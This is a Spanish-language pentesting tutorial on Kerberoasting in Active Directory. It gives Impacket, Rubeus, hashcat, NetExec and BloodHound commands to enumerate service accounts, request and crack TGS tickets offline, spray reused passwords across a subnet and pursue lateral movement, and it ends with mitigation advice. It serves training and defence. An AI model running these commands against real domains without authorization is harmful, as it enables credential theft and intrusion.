Kerberoasting: cómo identificarlo y explotarlo en Active Directory

Kerberoasting es una de las técnicas más conocidas durante un pentest de Active Directory.

La idea es bastante sencilla:

Encontrar una cuenta de servicio con SPN
        ↓
Solicitar su ticket Kerberos
        ↓
Extraer información crackeable
        ↓
Atacar la contraseña offline
        ↓
Obtener las credenciales de la cuenta

Lo interesante es que para realizar el ataque normalmente no necesitamos privilegios administrativos.

En muchos entornos basta con tener acceso a cualquier usuario válido del dominio.

Por ejemplo:

BREAKSECURE\pedro
Password123!

A partir de ahí podemos buscar cuentas de servicio susceptibles a Kerberoasting.

Realiza estas pruebas únicamente en laboratorios, sistemas propios o infraestructuras donde tengas autorización.

---

¿Qué estamos intentando conseguir?

Nuestro objetivo no es atacar directamente al Domain Controller.

Queremos encontrar cuentas de Active Directory que tengan registrado un:

SPN

o:

Service Principal Name

Por ejemplo:

MSSQLSvc/sql01.breaksecure.local:1433

Este SPN podría estar asociado a una cuenta como:

sql_svc

Kerberos necesita permitir que los usuarios del dominio soliciten tickets para acceder a ese servicio.

Ahí aparece nuestra oportunidad.

Solicitamos legítimamente el ticket y posteriormente intentamos recuperar offline la contraseña de sql_svc.

---

¿Qué necesitamos para hacer Kerberoasting?

Antes de empezar, necesitamos cumplir unas pocas condiciones.

1. Acceso al dominio

Normalmente necesitamos unas credenciales válidas de Active Directory.

Por ejemplo:

usuario: pedro
contraseña: Password123!
dominio: breaksecure.local

No tiene que ser administrador.

Un usuario estándar suele ser suficiente.

---

2. Una cuenta con SPN

Debe existir alguna cuenta asociada a un servicio Kerberos.

Ejemplos comunes:

sql_svc
web_svc
backup_svc
svc_mssql
svc_sharepoint

No significa que cualquier cuenta con SPN sea automáticamente vulnerable.

El objetivo real es encontrar:

SPN
+
Cuenta de usuario
+
Contraseña débil

---

3. Poder comunicarnos con el Domain Controller

Necesitaremos normalmente alcanzar servicios como:

53   DNS
88   Kerberos
389  LDAP
445  SMB

Podemos comenzar identificando el Domain Controller con Nmap.

nmap -sC -sV -p 53,88,135,139,389,445,464,636,3268,3269 10.10.10.10

Si encontramos varios de estos servicios juntos, probablemente estamos delante de un Domain Controller.

---

Paso 1 — Identificar el dominio

Supongamos que tenemos:

IP del DC:
10.10.10.10

Dominio:
breaksecure.local

Credenciales:
pedro:Password123!

Podemos verificar las credenciales utilizando NetExec:

nxc smb 10.10.10.10 -u 'pedro' -p 'Password123!' -d breaksecure.local

Si la autenticación funciona correctamente podemos continuar.

---

Paso 2 — Buscar cuentas con SPN

Aquí comienza realmente la enumeración de Kerberoasting.

Una de las herramientas más utilizadas es:

GetUserSPNs.py

del proyecto Impacket.

Podemos ejecutar:

impacket-GetUserSPNs breaksecure.local/pedro:'Password123!' -dc-ip 10.10.10.10

Podríamos obtener algo parecido a:

ServicePrincipalName                       Name
-----------------------------------------  ---------
MSSQLSvc/sql01.breaksecure.local:1433      sql_svc
HTTP/web01.breaksecure.local               web_svc

Perfecto.

Ahora sabemos que existen al menos dos cuentas asociadas a servicios Kerberos:

sql_svc
web_svc

¿Qué es exactamente un SPN?

Un SPN identifica un servicio que puede utilizar autenticación Kerberos.

Por ejemplo:

MSSQLSvc/sql01.breaksecure.local:1433

Podemos separarlo como:

MSSQLSvc
   ↓
Servicio

sql01.breaksecure.local
   ↓
Servidor

1433
   ↓
Puerto

Y detrás existe una cuenta de Active Directory encargada de ejecutar ese servicio.

Por ejemplo:

sql_svc

Esto es importante porque Kerberos necesita saber con qué identidad está asociado el servicio para generar correctamente el ticket.

---

Paso 3 — Solicitar los TGS

Una vez localizamos cuentas interesantes podemos solicitar sus tickets.

Con Impacket:

impacket-GetUserSPNs breaksecure.local/pedro:'Password123!' -dc-ip 10.10.10.10 -request

La salida incluirá algo parecido a:

$krb5tgs$23$*sql_svc$BREAKSECURE.LOCAL$breaksecure.local/sql_svc*$...

Ese resultado podemos guardarlo para crackearlo posteriormente.

Una forma cómoda es utilizar directamente:

impacket-GetUserSPNs breaksecure.local/pedro:'Password123!' -dc-ip 10.10.10.10 -request -outputfile kerberoast.txt

Ahora tendremos:

kerberoast.txt

con los tickets recuperados.

¿Qué acaba de ocurrir?

Esta parte es importante para entender el ataque.

Nuestro usuario:

pedro

no conoce la contraseña de:

sql_svc

Pero puede pedirle al Domain Controller:

Quiero utilizar el servicio MSSQL

Kerberos responde entregando un:

TGS

o ticket de servicio.

Parte de ese ticket está protegida utilizando una clave derivada de la contraseña de la cuenta del servicio.

Eso nos permite llevarnos el ticket e intentar probar contraseñas contra él.

---

Paso 4 — Crackear el ticket offline

Ahora viene una de las mayores ventajas de Kerberoasting.

Ya no necesitamos comunicarnos con el Domain Controller.

Podemos atacar el ticket completamente desde nuestra máquina.

Supongamos que tenemos:

kerberoast.txt

Podemos utilizar Hashcat.

Para tickets Kerberos TGS utilizando RC4 es habitual utilizar:

hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt

Si la contraseña se encuentra dentro del diccionario podríamos recuperar algo como:

sql_svc:SQLServer2026!

¿Por qué el cracking offline es tan importante?

Porque no estamos haciendo esto:

Login → Password1
Login → Password2
Login → Password3
Login → Password4

contra Active Directory.

Eso podría provocar:

Account Lockout
Logs
Alertas
Rate Limiting

En Kerberoasting el flujo es diferente:

Domain Controller
        ↓
Solicitamos TGS
        ↓
Obtenemos ticket
        ↓
Nos vamos offline
        ↓
Hashcat
        ↓
Miles o millones de intentos

El Domain Controller no participa en esos intentos.

Utilizar reglas de Hashcat

Una wordlist básica puede no ser suficiente.

Podemos utilizar reglas para generar variaciones.

Por ejemplo:

hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

Esto permite probar modificaciones como:

Password
Password1
Password123
Password!
PASSWORD
password2026

sin tener que almacenarlas todas previamente en la wordlist.

¿Y si no sale con rockyou?

No significa que Kerberoasting haya fallado.

Significa simplemente que todavía no hemos encontrado la contraseña.

Podemos probar:

Wordlists personalizadas
Reglas
Masks
Información de la empresa
Patrones de contraseñas
Temporadas
Años
Nombres internos

Por ejemplo, si sospechamos de un patrón:

Empresa2026!
Empresa2025!
Empresa2024!

una estrategia basada en reglas o máscaras puede ser mucho más efectiva que lanzar únicamente RockYou.

También podemos hacerlo desde Windows con Rubeus

Si ya tenemos acceso a una máquina Windows dentro del dominio podemos utilizar:

Rubeus

para buscar y solicitar tickets Kerberoasteables.

Por ejemplo:

Rubeus.exe kerberoast

Rubeus buscará cuentas con SPN y solicitará los tickets correspondientes.

También podemos guardar los resultados para crackearlos posteriormente.

Esto es especialmente útil cuando estamos trabajando directamente desde una sesión comprometida de Windows.

Enumeración alternativa con NetExec

Durante pentesting también podemos utilizar NetExec para realizar enumeración relacionada con Kerberos y Active Directory.

La idea general sigue siendo la misma:

Encontrar usuarios
        ↓
Identificar cuentas interesantes
        ↓
Buscar SPN
        ↓
Solicitar tickets

No deberíamos depender de una única herramienta.

Si Impacket falla, podemos recurrir a:

Rubeus
PowerView
LDAP
BloodHound
NetExec

¿Cómo sé si realmente es explotable?

Encontrar un SPN no significa:

Vulnerabilidad confirmada

Significa:

Cuenta potencialmente Kerberoasteable

La verdadera condición práctica depende de si conseguimos recuperar su contraseña.

Podemos pensar en tres niveles.

Nivel 1 — Existe SPN

sql_svc → MSSQLSvc

Podemos solicitar el ticket.

Nivel 2 — Obtenemos el TGS

$krb5tgs$...

Tenemos material para cracking offline.

Nivel 3 — Recuperamos contraseña

sql_svc:SQLServer2026!

Aquí sí hemos comprometido realmente la cuenta.

---

Paso 5 — Ya tengo la contraseña, ¿ahora qué?

Aquí es donde muchos tutoriales terminan demasiado pronto.

Obtener:

sql_svc:SQLServer2026!

no significa que hayamos terminado.

En realidad acaba de empezar una nueva fase de enumeración.

Tenemos una identidad nueva dentro del dominio.

La pregunta ahora es:

¿Qué puede hacer esta cuenta?

Probar credenciales con NetExec

Podemos comenzar comprobando SMB:

nxc smb 10.10.10.10 -u 'sql_svc' -p 'SQLServer2026!' -d breaksecure.local

Después podemos probar otros servicios.

WinRM:

nxc winrm 10.10.10.10 -u 'sql_svc' -p 'SQLServer2026!' -d breaksecure.local

MSSQL:

nxc mssql 10.10.10.10 -u 'sql_svc' -p 'SQLServer2026!' -d breaksecure.local

LDAP:

nxc ldap 10.10.10.10 -u 'sql_svc' -p 'SQLServer2026!' -d breaksecure.local

Buscar password reuse

Una contraseña obtenida mediante Kerberoasting puede haber sido reutilizada.

Por ejemplo:

nxc smb 10.10.10.10 -u users.txt -p 'SQLServer2026!' -d breaksecure.local --continue-on-success

Podríamos descubrir:

sql_svc       SQLServer2026!
backup_admin  SQLServer2026!

Ahora tenemos otro usuario potencialmente mucho más interesante.

Por eso el credential reuse debería revisarse siempre.

Enumerar privilegios con BloodHound

Una de las mejores cosas que podemos hacer después de obtener una nueva cuenta es ejecutar BloodHound nuevamente.

Por ejemplo:

bloodhound-python -u sql_svc -p 'SQLServer2026!' -d breaksecure.local -ns 10.10.10.10 -c All

Después revisamos relaciones como:

GenericAll
GenericWrite
WriteDACL
WriteOwner
ForceChangePassword
AddMember
AllowedToDelegate
AdminTo
CanPSRemote
DCSync

Una cuenta de servicio aparentemente poco interesante puede tener una ruta directa hacia un usuario privilegiado.

Buscar acceso local administrativo

Podemos revisar si la cuenta tiene privilegios sobre alguna máquina:

nxc smb 10.10.10.0/24 -u 'sql_svc' -p 'SQLServer2026!' -d breaksecure.local

Si aparece:

Pwn3d!

significa que la cuenta tiene permisos administrativos en ese sistema.

Eso podría permitir continuar con movimiento lateral.

Buscar acceso a MSSQL

Si estamos atacando precisamente una cuenta llamada:

sql_svc

es bastante razonable comprobar SQL Server.

Por ejemplo:

impacket-mssqlclient breaksecure.local/sql_svc:'SQLServer2026!'@sql01.breaksecure.local

Una vez dentro tendremos que comprobar:

Roles
Bases de datos
Impersonation
Linked Servers
xp_cmdshell
Credenciales
Archivos

Una cuenta de servicio puede tener muchos más privilegios dentro de su aplicación que dentro de Active Directory.

Revisar grupos

También debemos comprobar sus grupos.

Con NetExec o LDAP podemos determinar si pertenece a algo interesante como:

Server Operators
Backup Operators
Remote Management Users
Administrators
SQL Admins
IT Admins

Una cuenta comprometida adquiere importancia en función de sus permisos.

Buscar ACL peligrosas

Supongamos que BloodHound muestra:

sql_svc
   ↓
WriteOwner
   ↓
backup_svc

Entonces Kerberoasting simplemente ha sido nuestro punto de entrada hacia otra cadena:

Kerberoasting
     ↓
sql_svc
     ↓
WriteOwner
     ↓
backup_svc
     ↓
Privilege Escalation

Este tipo de cadenas son extremadamente comunes en laboratorios de Active Directory.

Kerberoasting no siempre termina en Domain Admin

Algo importante:

Kerberoasting exitoso ≠ Domain Admin

Podríamos obtener una cuenta sin privilegios relevantes.

Por ejemplo:

web_svc

puede que únicamente tenga permisos para ejecutar un sitio web.

En ese caso hemos conseguido una credencial, pero todavía necesitamos buscar cómo aprovecharla.

Por eso el proceso correcto es:

Credenciales
     ↓
Reenumerar
     ↓
Identificar permisos
     ↓
Encontrar nueva ruta

---

Flujo completo del ataque

Podemos resumir Kerberoasting así:

Credencial válida de dominio
          ↓
Enumerar Active Directory
          ↓
Buscar cuentas con SPN
          ↓
Solicitar TGS
          ↓
Guardar $krb5tgs$
          ↓
Cracking offline
          ↓
¿Contraseña encontrada?
     ↙              ↘
   NO                SÍ
   ↓                  ↓
Mejorar          Nueva cuenta
ataque                ↓
                 Password reuse
                      ↓
                  BloodHound
                      ↓
               Acceso a servicios
                      ↓
              Privilege Escalation

---

Checklist rápido de Kerberoasting

Requisitos

[ ] Tengo credenciales válidas del dominio
[ ] Identifiqué el Domain Controller
[ ] Conozco el dominio
[ ] Tengo conectividad Kerberos/LDAP

Enumeración

[ ] Busqué cuentas con SPN
[ ] Identifiqué cuentas de servicio
[ ] Revisé qué servicio ejecuta cada cuenta

Explotación

[ ] Solicité los TGS
[ ] Guardé los tickets
[ ] Identifiqué el tipo de hash
[ ] Ejecuté cracking offline

Después del cracking

[ ] Validé las credenciales
[ ] Probé password reuse
[ ] Revisé SMB
[ ] Revisé WinRM
[ ] Revisé MSSQL
[ ] Ejecuté BloodHound nuevamente
[ ] Revisé grupos
[ ] Revisé ACL
[ ] Busqué movimiento lateral

---

Comandos rápidos

Enumerar SPN

impacket-GetUserSPNs breaksecure.local/pedro:'Password123!' -dc-ip 10.10.10.10

Solicitar tickets

impacket-GetUserSPNs breaksecure.local/pedro:'Password123!' -dc-ip 10.10.10.10 -request -outputfile kerberoast.txt

Crackear RC4 TGS

hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt

Hashcat con reglas

hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

Rubeus

Rubeus.exe kerberoast

Validar credenciales

nxc smb 10.10.10.10 -u 'sql_svc' -p 'SQLServer2026!' -d breaksecure.local

Password reuse

nxc smb 10.10.10.10 -u users.txt -p 'SQLServer2026!' -d breaksecure.local --continue-on-success

BloodHound

bloodhound-python -u sql_svc -p 'SQLServer2026!' -d breaksecure.local -ns 10.10.10.10 -c All

---

¿Cómo mitigar Kerberoasting?

Desde defensa hay varias medidas importantes.

Utilizar contraseñas largas

Una cuenta con SPN no es necesariamente un problema.

El verdadero problema aparece cuando tiene una contraseña como:

Empresa2026!

Las cuentas de servicio tradicionales deberían utilizar contraseñas largas, aleatorias y difíciles de crackear offline.

Utilizar gMSA

Siempre que sea posible podemos reemplazar cuentas de servicio tradicionales por:

Group Managed Service Accounts

o:

gMSA

Active Directory puede administrar automáticamente contraseñas complejas y rotarlas periódicamente.

Evitar privilegios innecesarios

Una cuenta como:

sql_svc

no debería pertenecer sin motivo a:

Domain Admins
Administrators
Backup Operators

Ni disponer de ACL peligrosas sobre otras cuentas.

Eliminar SPN innecesarios

También debemos revisar periódicamente:

¿Qué cuentas tienen SPN?
¿El servicio todavía existe?
¿La cuenta sigue siendo necesaria?
¿Qué permisos posee?
¿Cuándo cambió su contraseña?

Las cuentas antiguas de servicio suelen ser objetivos especialmente atractivos.